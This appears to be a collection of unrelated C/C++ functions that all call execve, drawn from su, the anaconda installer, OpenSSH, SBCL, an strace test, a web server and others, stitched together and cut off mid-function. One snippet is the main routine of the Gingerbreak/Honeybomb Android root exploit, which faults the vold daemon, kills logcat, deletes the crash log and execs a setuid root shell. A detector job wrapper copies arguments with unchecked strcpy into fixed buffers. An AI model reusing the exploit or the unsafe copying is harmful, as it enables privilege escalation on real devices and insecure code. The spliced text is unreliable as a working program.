(int)(sp->sp_lstchg + sp->sp_max -today)); } } } #endif { char *tty = ttyname (STDERR_FILENO); if (tty) syslog (LOG_NOTICE | LOG_AUTH, "%s to %s on %s", login_info->pw_name, su_info->pw_name, tty); else syslog (LOG_NOTICE | LOG_AUTH, "%s to %s", login_info->pw_name, su_info->pw_name); } if(!env_flag) { if(full_login) { char *t = getenv ("TERM"); char **newenv = NULL; int i, j; i = read_environment(_PATH_ETC_ENVIRONMENT, &newenv); environ = malloc ((10 + i) * sizeof (char *)); if (environ == NULL) err (1, "malloc"); environ[0] = NULL; for (j = 0; j < i; j++) { char *p = strchr(newenv[j], '='); if (p == NULL) errx(1, "enviroment '%s' missing '='", newenv[j]); *p++ = 0; esetenv (newenv[j], p, 1); } free(newenv); esetenv ("PATH", _PATH_DEFPATH, 1); if (t) esetenv ("TERM", t, 1); if (chdir (su_info->pw_dir) < 0) errx (1, "no directory"); } if (full_login || su_info->pw_uid) esetenv ("USER", su_info->pw_name, 1); esetenv("HOME", su_info->pw_dir, 1); esetenv("SHELL", shell, 1); } { int i; char **args; char *p; p = strrchr(shell, '/'); if(p) p++; else p = shell; if (strcmp(p, "csh") != 0) csh_f_flag = 0; args = malloc(((cmd ? 2 : 0) + 1 + argc - optind + 1 + csh_f_flag) * sizeof(*args)); if (args == NULL) err (1, "malloc"); i = 0; if(full_login) { if (asprintf(&args[i++], "-%s", p) == -1) errx (1, "malloc"); } else args[i++] = p; if (cmd) { args[i++] = "-c"; args[i++] = cmd; } if (csh_f_flag) args[i++] = "-f"; for (argv += optind; *argv; ++argv) args[i++] = *argv; args[i] = NULL; if(setgid(su_info->pw_gid) < 0) err(1, "setgid"); if (initgroups (su_info->pw_name, su_info->pw_gid) < 0) err (1, "initgroups"); if(setuid(su_info->pw_uid) < 0 || (su_info->pw_uid != 0 && setuid(0) == 0)) err(1, "setuid"); #ifdef KRB5 if (ok == 5) krb5_start_session(); #endif execve(shell, args, environ); } exit(1); }
int main(int argc, char *argv[]) { char runNumber[MAX_LENGTH_STRING + 1], runType[MAX_LENGTH_STRING + 1], module[MAX_LENGTH_STRING + 1], maxEvents[MAX_LENGTH_STRING + 1]; char filename[MAX_LENGTH_FILENAME + 1], pidFilename[MAX_LENGTH_FILENAME + 1]; char command[MAX_LENGTH_COMMAND + 1], execFilename[MAX_LENGTH_FILENAME + 1]; char path[MAX_LENGTH_STRING + 1], ld_library_path[MAX_LENGTH_STRING + 1]; char *argvRoot[6], *envRoot[4]; FILE *fp; int retCode, i, fd; pid_t pid; setreuid(TILEBEAM_UID, TILEBEAM_UID); setregid(TILEBEAM_GID, TILEBEAM_GID); strcpy(filename, argv[1]); strcpy(pidFilename, argv[2]); strcpy(runNumber, argv[3]); strcpy(runType, argv[4]); strcpy(module, argv[5]); strcpy(maxEvents, argv[6]); pid = fork(); if (pid < 0 ) { printf("error id=%d\n",pid); exit(1); } else if (pid) // parent process { fp = fopen(pidFilename, "w"); fprintf(fp, "%i", pid); fclose(fp); exit(OK); } else //if (pid == 0) // child process { //snprintf(command, MAX_LENGTH_COMMAND + 1, "./macro/rootinit.sh; root -b -l -q './macro/checkCRCandBCID.cpp(\"%s\", \"\", \"%s\", \"%s\")' >> ./%s", runNumber, runType, module, filename); //snprintf(command, MAX_LENGTH_COMMAND + 1, "ls -l >> ./%s", filename); //retCode = system(command); setreuid(TILEBEAM_UID, TILEBEAM_UID); setregid(TILEBEAM_GID, TILEBEAM_GID); setenv("ROOTSYS", ROOT_SYS, 1); snprintf(path, MAX_LENGTH_STRING + 1, "%s:%s", ROOT_PATH, getenv("PATH")); setenv("PATH", path, 1); snprintf(ld_library_path, MAX_LENGTH_STRING + 1, "%s/lib:%s", ROOT_SYS, getenv("LD_LIBRARY_PATH")); setenv("LD_LIBRARY_PATH", ld_library_path, 1); //int execve(const char *filename, char *const argv [], char *const envp[]); //snprintf(execFilename, MAX_LENGTH_FILENAME + 1, "%s/root", ROOT_PATH); snprintf(execFilename, MAX_LENGTH_FILENAME + 1, "./macro/TTileCommRun/checkCnoise"); //printf("%s\n", execFilename); for (i = 0; i < 5; i++) argvRoot[i] = (char *)malloc(MAX_LENGTH_STRING + 1); argvRoot[5] = NULL; snprintf(argvRoot[0], MAX_LENGTH_STRING + 1, "%s", execFilename); //snprintf(argvRoot[1], MAX_LENGTH_STRING + 1, "-b"); snprintf(argvRoot[1], MAX_LENGTH_STRING + 1, "%s", runNumber); //snprintf(argvRoot[2], MAX_LENGTH_STRING + 1, "-l"); snprintf(argvRoot[2], MAX_LENGTH_STRING + 1, "%s", runType); //snprintf(argvRoot[3], MAX_LENGTH_STRING + 1, "-q"); snprintf(argvRoot[3], MAX_LENGTH_STRING + 1, "%s", module); snprintf(argvRoot[4], MAX_LENGTH_STRING + 1, "%s", maxEvents); //snprintf(argvRoot[4], MAX_LENGTH_STRING + 1, "./macro/TTileCommRun/checkCnoise.C(\"%s\", \"\", \"%s\", \"%s\")", runNumber, runType, module); //for (i = 0; i < 4; i++) //printf("%s\n", argvRoot[i]); for (i = 0; i < 3; i++) envRoot[i] = (char *)malloc(MAX_LENGTH_STRING + 1); envRoot[3] = NULL; snprintf(envRoot[0], MAX_LENGTH_STRING + 1, "ROOTSYS=%s", ROOT_SYS); snprintf(envRoot[1], MAX_LENGTH_STRING + 1, "PATH=%s", path); snprintf(envRoot[2], MAX_LENGTH_STRING + 1, "LD_LIBRARY_PATH=%s", ld_library_path); //for (i = 0; i < 3; i++) //printf("%s\n", envRoot[i]); //printf("filename: %s\n", filename); fd = open(filename, O_WRONLY); if (fd == -1) { printf("open error1: %s\n", strerror(errno)); exit(0); } retCode = close(2); if (retCode == -1) { printf("fclose error2: %s\n", strerror(errno)); exit(0); } retCode = dup2(fd, 2); if (retCode == -1) { printf("dup2 error2: %s\n", strerror(errno)); exit(0); } retCode = close(1); if (retCode == -1) { printf("fclose error1: %s\n", strerror(errno)); exit(0); } retCode = dup2(fd, 1); if (retCode == -1) { printf("dup2 error1: %s\n", strerror(errno)); exit(0); } //printf("Isto aqui foi escrito para onde???\nHein?!?!?! Tah no arquivo certo???\n"); retCode = execve(execFilename, argvRoot, envRoot); if (retCode == -1) printf("execve error: %s\n", strerror(errno)); close(1); close(2); close(fd); exit(OK); } }
int main(int argc, char **argv) { pid_t installpid, childpid; int waitStatus; int fd = -1; int doReboot = 0; int doShutdown =0; int isSerial = 0; char * console = NULL; int noKill = 0; char * argvc[15]; char ** argvp = argvc; char twelve = 12; struct serial_struct si; int i, disable_keys; if (!strncmp(basename(argv[0]), "poweroff", 8)) { printf("Running poweroff...\n"); fd = getInitPid(); if (fd > 0) kill(fd, SIGUSR2); exit(0); } else if (!strncmp(basename(argv[0]), "halt", 4)) { printf("Running halt...\n"); fd = getInitPid(); if (fd > 0) kill(fd, SIGUSR1); exit(0); } else if (!strncmp(basename(argv[0]), "reboot", 6)) { printf("Running reboot...\n"); fd = getInitPid(); if (fd > 0) kill(fd, SIGINT); exit(0); } #if !defined(__s390__) && !defined(__s390x__) testing = (getppid() != 0) && (getppid() != 1); #endif if (!testing) { /* turn off screen blanking */ printstr("\033[9;0]"); printstr("\033[8]"); } else { printstr("(running in test mode).\n"); } umask(022); printstr("\nGreetings.\n"); printf("anaconda installer init version %s starting\n", VERSION); printf("mounting /proc filesystem... "); if (!testing) { if (mount("/proc", "/proc", "proc", 0, NULL)) fatal_error(1); } printf("done\n"); printf("creating /dev filesystem... "); if (!testing) { if (mount("/dev", "/dev", "tmpfs", 0, NULL)) fatal_error(1); createDevices(); } printf("done\n"); printf("mounting /dev/pts (unix98 pty) filesystem... "); if (!testing) { if (mount("/dev/pts", "/dev/pts", "devpts", 0, NULL)) fatal_error(1); } printf("done\n"); printf("mounting /sys filesystem... "); if (!testing) { if (mount("/sys", "/sys", "sysfs", 0, NULL)) fatal_error(1); } printf("done\n"); /* these args are only for testing from commandline */ for (i = 1; i < argc; i++) { if (!strcmp (argv[i], "serial")) { isSerial = 1; break; } } noKill = getNoKill(); #if !defined(__s390__) && !defined(__s390x__) static struct termios orig_cmode; struct termios cmode, mode; int cfd; cfd = open("/dev/console", O_RDONLY); tcgetattr(cfd,&orig_cmode); close(cfd); cmode = orig_cmode; cmode.c_lflag &= (~ECHO); cfd = open("/dev/console", O_WRONLY); tcsetattr(cfd,TCSANOW,&cmode); close(cfd); /* handle weird consoles */ #if defined(__powerpc__) char * consoles[] = { "/dev/hvc0", /* hvc for JS20 */ "/dev/hvsi0", "/dev/hvsi1", "/dev/hvsi2", /* hvsi for POWER5 */ NULL }; #elif defined (__ia64__) char * consoles[] = { "/dev/ttySG0", "/dev/xvc0", NULL }; #elif defined (__i386__) || defined (__x86_64__) char * consoles[] = { "/dev/xvc0", NULL }; #else char * consoles[] = { NULL }; #endif for (i = 0; consoles[i] != NULL; i++) { if ((fd = open(consoles[i], O_RDWR)) >= 0 && !tcgetattr(fd, &mode) && !termcmp(&cmode, &mode)) { printf("anaconda installer init version %s using %s as console\n", VERSION, consoles[i]); isSerial = 3; console = strdup(consoles[i]); break; } close(fd); } cfd = open("/dev/console", O_WRONLY); tcsetattr(cfd,TCSANOW,&orig_cmode); close(cfd); if ((fd < 0) && (ioctl (0, TIOCLINUX, &twelve) < 0)) { isSerial = 2; if (ioctl(0, TIOCGSERIAL, &si) == -1) { isSerial = 0; } } if (isSerial && (isSerial != 3)) { char *device = "/dev/ttyS0"; printf("anaconda installer init version %s using a serial console\n", VERSION); if (isSerial == 2) device = "/dev/console"; fd = open(device, O_RDWR, 0); if (fd < 0) device = "/dev/tts/0"; if (fd < 0) { printf("failed to open %s\n", device); fatal_error(1); } setupTerminal(fd); } else if (isSerial == 3) { setupTerminal(fd); } else if (fd < 0) { fd = open("/dev/tty1", O_RDWR, 0); if (fd < 0) fd = open("/dev/vc/1", O_RDWR, 0); if (fd < 0) { printf("failed to open /dev/tty1 and /dev/vc/1"); fatal_error(1); } } if (testing) exit(0); setsid(); if (ioctl(0, TIOCSCTTY, NULL)) { printf("could not set new controlling tty\n"); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); if (fd > 2) close(fd); #else dup2(0, 1); dup2(0, 2); #endif /* disable Ctrl+Z, Ctrl+C, etc ... but not in rescue mode */ #ifdef SNAKES_ON_A_PLANE disable_keys = 0; #else disable_keys = 1; if (argc > 1) if (mystrstr(argv[1], "rescue")) disable_keys = 0; #endif if (disable_keys) { tcgetattr(0, &ts); ts.c_iflag &= ~BRKINT; ts.c_iflag |= IGNBRK; ts.c_iflag &= ~ISIG; tcsetattr(0, TCSANOW, &ts); } if (!testing) { int ret; ret = sethostname("localhost.localdomain", 21); /* the default domainname (as of 2.0.35) is "(none)", which confuses glibc */ ret = setdomainname("", 0); } printf("trying to remount root filesystem read write... "); if (mount("/", "/", "ext2", MS_REMOUNT | MS_MGC_VAL, NULL)) { fatal_error(1); } printf("done\n"); /* we want our /tmp to be ramfs, but we also want to let people hack * their initrds to add things like a ks.cfg, so this has to be a little * tricky */ if (!testing) { rename("/tmp", "/oldtmp"); mkdir("/tmp", 0755); printf("mounting /tmp as ramfs... "); if (mount("none", "/tmp", "ramfs", 0, NULL)) fatal_error(1); printf("done\n"); copyDirectory("/oldtmp", "/tmp"); unlink("/oldtmp"); } /* Now we have some /tmp space set up, and /etc and /dev point to it. We should be in pretty good shape. */ if (!testing) doklog("/dev/tty4"); /* write out a pid file */ if ((fd = open("/var/run/init.pid", O_WRONLY|O_CREAT, 0644)) > 0) { char * buf = malloc(10); int ret; snprintf(buf, 9, "%d", getpid()); ret = write(fd, buf, strlen(buf)); close(fd); free(buf); } else { printf("unable to write init.pid (%d): %s\n", errno, strerror(errno)); sleep(2); } /* Go into normal init mode - keep going, and then do a orderly shutdown when: 1) /bin/install exits 2) we receive a SIGHUP */ printf("running install...\n"); setsid(); #ifdef SNAKES_ON_A_PLANE printf("> Snakes on a Plane <\n"); /* hack to load core modules for debugging mode */ char * modvc[15]; char ** modvp = modvc; *modvp++ = "/bin/modprobe"; *modvp++ = "ehci-hcd"; *modvp++ = "uhci-hcd"; *modvp++ = "ohci-hcd"; *modvp++ = NULL; pid_t blah = fork(); int qux; if (blah == 0) { printf("loading core debugging modules...\n"); execve(modvc[0], modvc, env); } else { waitpid(blah, &qux, WNOHANG); } #endif if (!(installpid = fork())) { /* child */ #ifdef SNAKES_ON_A_PLANE *argvp++ = "/bin/strace"; #endif *argvp++ = "/sbin/loader"; if (isSerial == 3) { *argvp++ = "--virtpconsole"; *argvp++ = console; } *argvp++ = NULL; printf("running %s\n", argvc[0]); execve(argvc[0], argvc, env); shutDown(1, 0, 0); } /* signal handlers for halt/poweroff */ signal(SIGUSR1, sigUsr1Handler); signal(SIGUSR2, sigUsr2Handler); /* set up the ctrl+alt+delete handler to kill our pid, not pid 1 */ signal(SIGINT, sigintHandler); if ((fd = open("/proc/sys/kernel/cad_pid", O_WRONLY)) != -1) { char buf[7]; size_t count; sprintf(buf, "%d", getpid()); count = write(fd, buf, strlen(buf)); close(fd); /* if we succeeded in writing our pid, turn off the hard reboot ctrl-alt-del handler */ if (count == strlen(buf) && (fd = open("/proc/sys/kernel/ctrl-alt-del", O_WRONLY)) != -1) { int ret; ret = write(fd, "0", 1); close(fd); } } while (!doShutdown) { childpid = waitpid(-1, &waitStatus, 0); if (childpid == installpid) doShutdown = 1; } #ifdef ROCKS /* * ignore child processes that throw error stati when * they terminate */ doReboot = 1; #else if (!WIFEXITED(waitStatus) || (WIFEXITED(waitStatus) && WEXITSTATUS(waitStatus))) { printf("install exited abnormally [%d/%d] ", WIFEXITED(waitStatus), WEXITSTATUS(waitStatus)); if (WIFSIGNALED(waitStatus)) { printf("-- received signal %d", WTERMSIG(waitStatus)); } printf("\n"); } else { doReboot = 1; } #endif /* ROCKS */ if (testing) exit(0); #ifdef ROCKS while(dontReboot()) { sleep(10); } #endif /* ROCKS */ shutDown(noKill, doReboot, 0); return 0; }
int execv(const char *pathname, char *const argv[]) { return execve(pathname, argv, environ); };
int main(void) { char ** const tail_argv = tail_memdup(argv, sizeof(argv)); char ** const tail_envp = tail_memdup(envp, sizeof(envp)); execve(FILENAME, tail_argv, tail_envp); printf("execve(\"%s\"" ", [\"%s\", \"%s\", \"%s\", %p, %p, %p, ... /* %p */]" #if VERBOSE ", [\"%s\", \"%s\", %p, %p, %p, ... /* %p */]" #else ", %p /* 5 vars, unterminated */" #endif ") = -1 ENOENT (%m)\n", Q_FILENAME, q_argv[0], q_argv[1], q_argv[2], argv[3], argv[4], argv[5], (char *) tail_argv + sizeof(argv) #if VERBOSE , q_envp[0], q_envp[1], envp[2], envp[3], envp[4], (char *) tail_envp + sizeof(envp) #else , tail_envp #endif ); tail_argv[ARRAY_SIZE(q_argv)] = NULL; tail_envp[ARRAY_SIZE(q_envp)] = NULL; execve(FILENAME, tail_argv, tail_envp); printf("execve(\"%s\", [\"%s\", \"%s\", \"%s\"]" #if VERBOSE ", [\"%s\", \"%s\"]" #else ", %p /* 2 vars */" #endif ") = -1 ENOENT (%m)\n", Q_FILENAME, q_argv[0], q_argv[1], q_argv[2] #if VERBOSE , q_envp[0], q_envp[1] #else , tail_envp #endif ); execve(FILENAME, tail_argv + 2, tail_envp + 1); printf("execve(\"%s\", [\"%s\"]" #if VERBOSE ", [\"%s\"]" #else ", %p /* 1 var */" #endif ") = -1 ENOENT (%m)\n", Q_FILENAME, q_argv[2] #if VERBOSE , q_envp[1] #else , tail_envp + 1 #endif ); TAIL_ALLOC_OBJECT_CONST_PTR(char *, empty); char **const efault = empty + 1; *empty = NULL; execve(FILENAME, empty, empty); printf("execve(\"%s\", []" #if VERBOSE ", []" #else ", %p /* 0 vars */" #endif ") = -1 ENOENT (%m)\n", Q_FILENAME #if !VERBOSE , empty #endif ); char *const str_a = tail_alloc(DEFAULT_STRLEN + 2); fill_memory_ex(str_a, DEFAULT_STRLEN + 1, '0', 10); str_a[DEFAULT_STRLEN + 1] = '\0'; char *const str_b = tail_alloc(DEFAULT_STRLEN + 2); fill_memory_ex(str_b, DEFAULT_STRLEN + 1, '_', 32); str_b[DEFAULT_STRLEN + 1] = '\0'; char **const a = tail_alloc(sizeof(*a) * (DEFAULT_STRLEN + 2)); char **const b = tail_alloc(sizeof(*b) * (DEFAULT_STRLEN + 2)); unsigned int i; for (i = 0; i <= DEFAULT_STRLEN; ++i) { a[i] = &str_a[i]; b[i] = &str_b[i]; } a[i] = b[i] = NULL; execve(FILENAME, a, b); printf("execve(\"%s\", [\"%.*s\"...", Q_FILENAME, DEFAULT_STRLEN, a[0]); for (i = 1; i < DEFAULT_STRLEN; ++i) printf(", \"%s\"", a[i]); #if VERBOSE printf(", \"%s\"", a[i]); #else printf(", ..."); #endif #if VERBOSE printf("], [\"%.*s\"...", DEFAULT_STRLEN, b[0]); for (i = 1; i <= DEFAULT_STRLEN; ++i) printf(", \"%s\"", b[i]); printf("]"); #else printf("], %p /* %u vars */", b, DEFAULT_STRLEN + 1); #endif printf(") = -1 ENOENT (%m)\n"); execve(FILENAME, a + 1, b + 1); printf("execve(\"%s\", [\"%s\"", Q_FILENAME, a[1]); for (i = 2; i <= DEFAULT_STRLEN; ++i) printf(", \"%s\"", a[i]); #if VERBOSE printf("], [\"%s\"", b[1]); for (i = 2; i <= DEFAULT_STRLEN; ++i) printf(", \"%s\"", b[i]); printf("]"); #else printf("], %p /* %d vars */", b + 1, DEFAULT_STRLEN); #endif printf(") = -1 ENOENT (%m)\n"); execve(FILENAME, (char **) tail_argv[ARRAY_SIZE(q_argv)], efault); printf("execve(\"%s\", NULL, %p) = -1 ENOENT (%m)\n", Q_FILENAME, efault); execve(FILENAME, efault, NULL); printf("execve(\"%s\", %p, NULL) = -1 ENOENT (%m)\n", Q_FILENAME, efault); return 0; }
/* * Runs command in a subprocess. Returns pid on success and a FILE* to the * subprocess' stdout or 0 on failure. * NB. "command" is only used for logging. */ static pid_t subprocess(const char *tag, struct passwd *pw, const char *command, int ac, char **av, FILE **child) { FILE *f; struct stat st; int devnull, p[2], i; pid_t pid; char *cp, errmsg[512]; u_int envsize; char **child_env; *child = NULL; debug3("%s: %s command \"%s\" running as %s", __func__, tag, command, pw->pw_name); /* Verify the path exists and is safe-ish to execute */ if (*av[0] != '/') { error("%s path is not absolute", tag); return 0; } temporarily_use_uid(pw); if (stat(av[0], &st) < 0) { error("Could not stat %s \"%s\": %s", tag, av[0], strerror(errno)); restore_uid(); return 0; } if (auth_secure_path(av[0], &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) { error("Unsafe %s \"%s\": %s", tag, av[0], errmsg); restore_uid(); return 0; } /* * Run the command; stderr is left in place, stdout is the * authorized_keys output. */ if (pipe(p) != 0) { error("%s: pipe: %s", tag, strerror(errno)); restore_uid(); return 0; } /* * Don't want to call this in the child, where it can fatal() and * run cleanup_exit() code. */ restore_uid(); switch ((pid = fork())) { case -1: /* error */ error("%s: fork: %s", tag, strerror(errno)); close(p[0]); close(p[1]); return 0; case 0: /* child */ /* Prepare a minimal environment for the child. */ envsize = 5; child_env = xcalloc(sizeof(*child_env), envsize); child_set_env(&child_env, &envsize, "PATH", _PATH_STDPATH); child_set_env(&child_env, &envsize, "USER", pw->pw_name); child_set_env(&child_env, &envsize, "LOGNAME", pw->pw_name); child_set_env(&child_env, &envsize, "HOME", pw->pw_dir); if ((cp = getenv("LANG")) != NULL) child_set_env(&child_env, &envsize, "LANG", cp); for (i = 0; i < NSIG; i++) signal(i, SIG_DFL); if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) { error("%s: open %s: %s", tag, _PATH_DEVNULL, strerror(errno)); _exit(1); } /* Keep stderr around a while longer to catch errors */ if (dup2(devnull, STDIN_FILENO) == -1 || dup2(p[1], STDOUT_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } closefrom(STDERR_FILENO + 1); /* Don't use permanently_set_uid() here to avoid fatal() */ if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) { error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid, strerror(errno)); _exit(1); } if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) { error("%s: setresuid %u: %s", tag, (u_int)pw->pw_uid, strerror(errno)); _exit(1); } /* stdin is pointed to /dev/null at this point */ if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) { error("%s: dup2: %s", tag, strerror(errno)); _exit(1); } execve(av[0], av, child_env); error("%s exec \"%s\": %s", tag, command, strerror(errno)); _exit(127); default: /* parent */ break; } close(p[1]); if ((f = fdopen(p[0], "r")) == NULL) { error("%s: fdopen: %s", tag, strerror(errno)); close(p[0]); /* Don't leave zombie child */ kill(pid, SIGTERM); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) ; return 0; } /* Success */ debug3("%s: %s pid %ld", __func__, tag, (long)pid); *child = f; return pid; }
void os_init(char *argv[], char *envp[]) { /* Conduct various version checks: do we have enough mmap(), is * this a sparc running 2.2, can we do threads? */ struct utsname name; int major_version; int minor_version; int patch_version; char *p; uname(&name); p=name.release; major_version = atoi(p); minor_version = patch_version = 0; p=strchr(p,'.'); if (p != NULL) { minor_version = atoi(++p); p=strchr(p,'.'); if (p != NULL) patch_version = atoi(++p); } if (major_version<2) { lose("linux kernel version too old: major version=%d (can't run in version < 2.0.0)\n", major_version); } if (!(major_version>2 || minor_version >= 4)) { #ifdef LISP_FEATURE_SPARC FSHOW((stderr,"linux kernel %d.%d predates 2.4;\n enabling workarounds for SPARC kernel bugs in signal handling.\n", major_version,minor_version)); linux_sparc_siginfo_bug = 1; #endif } #ifdef LISP_FEATURE_SB_THREAD #if defined(LISP_FEATURE_SB_FUTEX) && !defined(LISP_FEATURE_SB_PTHREAD_FUTEX) futex_init(); #endif if(! isnptl()) { lose("This version of SBCL only works correctly with the NPTL threading\n" "library. Please use a newer glibc, use an older SBCL, or stop using\n" "LD_ASSUME_KERNEL\n"); } #endif /* Don't use getpagesize(), since it's not constant across Linux * kernel versions on some architectures (for example PPC). FIXME: * possibly the same should be done on other architectures too. */ os_vm_page_size = BACKEND_PAGE_BYTES; /* KLUDGE: Disable memory randomization on new Linux kernels * by setting a personality flag and re-executing. (We need * to re-execute, since the memory maps that can conflict with * the SBCL spaces have already been done at this point). * * Since randomization is currently implemented only on x86 kernels, * don't do this trick on other platforms. */ #if defined(LISP_FEATURE_X86) || defined(LISP_FEATURE_X86_64) if ((major_version == 2 /* Some old kernels will apparently lose unsupported personality flags * on exec() */ && ((minor_version == 6 && patch_version >= 11) || (minor_version > 6) /* This is what RHEL 3 reports */ || (minor_version == 4 && patch_version > 20))) || major_version >= 3) { int pers = personality(0xffffffffUL); /* 0x40000 aka. ADDR_NO_RANDOMIZE */ if (!(pers & 0x40000)) { int retval = personality(pers | 0x40000); /* Allegedly some Linux kernels (the reported case was * "hardened Linux 2.6.7") won't set the new personality, * but nor will they return -1 for an error. So as a * workaround query the new personality... */ int newpers = personality(0xffffffffUL); /* ... and don't re-execute if either the setting resulted * in an error or if the value didn't change. Otherwise * this might result in an infinite loop. */ if (retval != -1 && newpers != pers) { /* Use /proc/self/exe instead of trying to figure out * the executable path from PATH and argv[0], since * that's unreliable. We follow the symlink instead of * executing the file directly in order to prevent top * from displaying the name of the process as "exe". */ char runtime[PATH_MAX+1]; int i = readlink("/proc/self/exe", runtime, PATH_MAX); if (i != -1) { runtime[i] = '\0'; execve(runtime, argv, envp); } } /* Either changing the personality or execve() failed. Either * way we might as well continue, and hope that the random * memory maps are ok this time around. */ fprintf(stderr, "WARNING: Couldn't re-execute SBCL with the proper personality flags (maybe /proc isn't mounted?). Trying to continue anyway.\n"); } } #ifdef LISP_FEATURE_X86 /* Use SSE detector. Recent versions of Linux enable SSE support * on SSE capable CPUs. */ /* FIXME: Are there any old versions that does not support SSE? */ fast_bzero_pointer = fast_bzero_detect; #endif #endif }
int main(){ execve("/bin/sh",NULL,NULL); }
/** starts new binary with (new) config - as child process, and gracefully shutdown self. */ void XzeroDaemon::reexec() { if (state_ != XzeroState::Running) { server_->log(x0::Severity::info, "Reexec requested again?. Ignoring."); return; } eventHandler_->setState(XzeroState::Upgrading); // suspend worker threads while performing the reexec for (x0::HttpWorker* worker: server_->workers()) { worker->suspend(); } x0::Buffer serializedListeners; for (x0::ServerSocket* listener: server_->listeners()) { // stop accepting new connections listener->stop(); // and clear O_CLOEXEC on listener socket, as we want to probably resume these listeners in the child process listener->setCloseOnExec(false); serializedListeners.push_back(listener->serialize()); serializedListeners.push_back(';'); } server_->log(x0::Severity::debug, "Setting envvar XZERO_LISTEN_FDS to: '%s'", serializedListeners.c_str()); setenv("XZERO_LISTEN_FDS", serializedListeners.c_str(), true); // prepare environment for new binary char sgen[20]; snprintf(sgen, sizeof(sgen), "%u", server_->generation()); setenv("XZERO_UPGRADE", sgen, true); std::vector<const char*> args; args.push_back(argv_[0]); if (systemd_) args.push_back("--systemd"); if (!instant_.empty()) { args.push_back("--instant"); args.push_back(instant_.c_str()); } else { args.push_back("-f"); args.push_back(configfile_.c_str()); } args.push_back("--log-target"); args.push_back(logTarget_.c_str()); if (!logFile_.empty() && instant_.empty()) { args.push_back("--log-file"); args.push_back(logFile_.c_str()); } args.push_back("--log-severity"); char logLevel[16]; snprintf(logLevel, sizeof(logLevel), "%d", static_cast<int>(logLevel_)); args.push_back(logLevel); if (!pidfile_.empty()) { args.push_back("--pid-file"); args.push_back(pidfile_.c_str()); } args.push_back("--no-fork"); // we never fork (potentially again) args.push_back(nullptr); int childPid = vfork(); switch (childPid) { case 0: // in child execve(argv_[0], (char**)args.data(), environ); server_->log(x0::Severity::error, "Executing new child process failed: %s", strerror(errno)); abort(); break; case -1: // error server_->log(x0::Severity::error, "Forking for new child process failed: %s", strerror(errno)); break; default: // in parent // the child process must tell us whether to gracefully shutdown or to resume. eventHandler_->setupChild(childPid); // we lost ownership of the PID file, if we had one as the child overwrites it. pidfile_ = ""; // FIXME do we want a reexecTimeout, to handle possible cases where the child is not calling back? to kill them, if so! break; } // continue running the the process (with listeners disabled) server_->log(x0::Severity::debug, "Setting O_CLOEXEC on listener sockets"); for (auto listener: server_->listeners()) { listener->setCloseOnExec(true); } }
int main(int argc, char **argv, char **env) { uint32_t i = 0, j = 0, idx = 0; char *ash[] = {sh, 0}; struct stat st; char build_id[256], version_release[256]; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) { printf("got tmp root!!!"); // char *afw[] = {fw, 0}; // execve(*afw, afw, env); exit(0); } printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n"); printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n"); printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n"); printf("[**] Zynamics for ARM skills and Onkel Budi\n\n"); printf("[**] donate to [email protected] if you like\n[**] Exploit may take a while!\n\n"); if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); __system_property_get("ro.build.id", build_id); __system_property_get("ro.build.version.release", version_release); if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") || strstr(version_release, "comb")) { printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); scale = 10; honeycomb = 1; } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) { printf("[+] Detected Froyo!\n"); froyo = 1; } else printf("[+] Plain Gingerbread mode!\n"); find_vold(&vold); find_got("/system/bin/vold"); find_device(); printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start, vold.got_end); idx = find_index(); kill(logcat_pid, SIGKILL); unlink(crashlog); for (i = idx; j++ < (vold.got_end - vold.got_start); --i) { if (do_fault(i, 0) < 0) { ++i; --j; printf("[-] sendmsg() failed?\n"); continue; } printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n\n[!] dance forever my only one\n"); break; } } /* Last try, sometimes vold cant handle 2 receives in the order * we like by do_fault() */ if ((st.st_mode & 04000) != 04000) { last_try(); last_try(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n[+] You are in luck! Last try succeeded!\n"); } else { printf("\n[-] Bad luck. Fixed vold?\n"); exit(1); } } execve(*ash, ash, env); return 0; }
void JNICALL Java_java_lang_Runtime_00024SubProcess_createProcess0 (JNIEnv *env, jobject obj, jobjectArray cmdarray, jobjectArray envp, jstring dir, jlongArray la){ jobject jo; const char *strChain; int i; char *cmdDir = NULL; char *strCmd = NULL; // Get the working directory of the subprocess: if ( dir != NULL ) { char* str = (char *)env->GetStringUTFChars(dir, 0); cmdDir = (char *)malloc(1+strlen(str)); // + NUL symbol *cmdDir = '\0'; strcat(cmdDir, str); env->ReleaseStringUTFChars(dir, str); } // Get the the command to call and its arguments (it must be non-null): int lenargv = 0; lenargv = env->GetArrayLength(cmdarray); char *argv[lenargv+1]; for ( i = 0; i < lenargv; i++ ) { jo = env->GetObjectArrayElement((jobjectArray)((jobject)cmdarray), (jsize) i); strChain = env->GetStringUTFChars((jstring) jo, 0); strCmd = (char *)malloc(1+strlen(strChain)); // + NUL symbol *strCmd = '\0'; strcat(strCmd, strChain); argv[i] = strCmd; env->ReleaseStringUTFChars((jstring) jo, strChain); } argv[lenargv] = (char *) 0; // NULL pointer // Get the array, each element of which has environment variable settings: int lenEnvp = 0; if (envp != NULL) { lenEnvp += env->GetArrayLength(envp); } char *strEnvpBeginAA[lenEnvp + 1]; if (envp != NULL) { for ( i = 0; i < lenEnvp; i++ ) { jo = 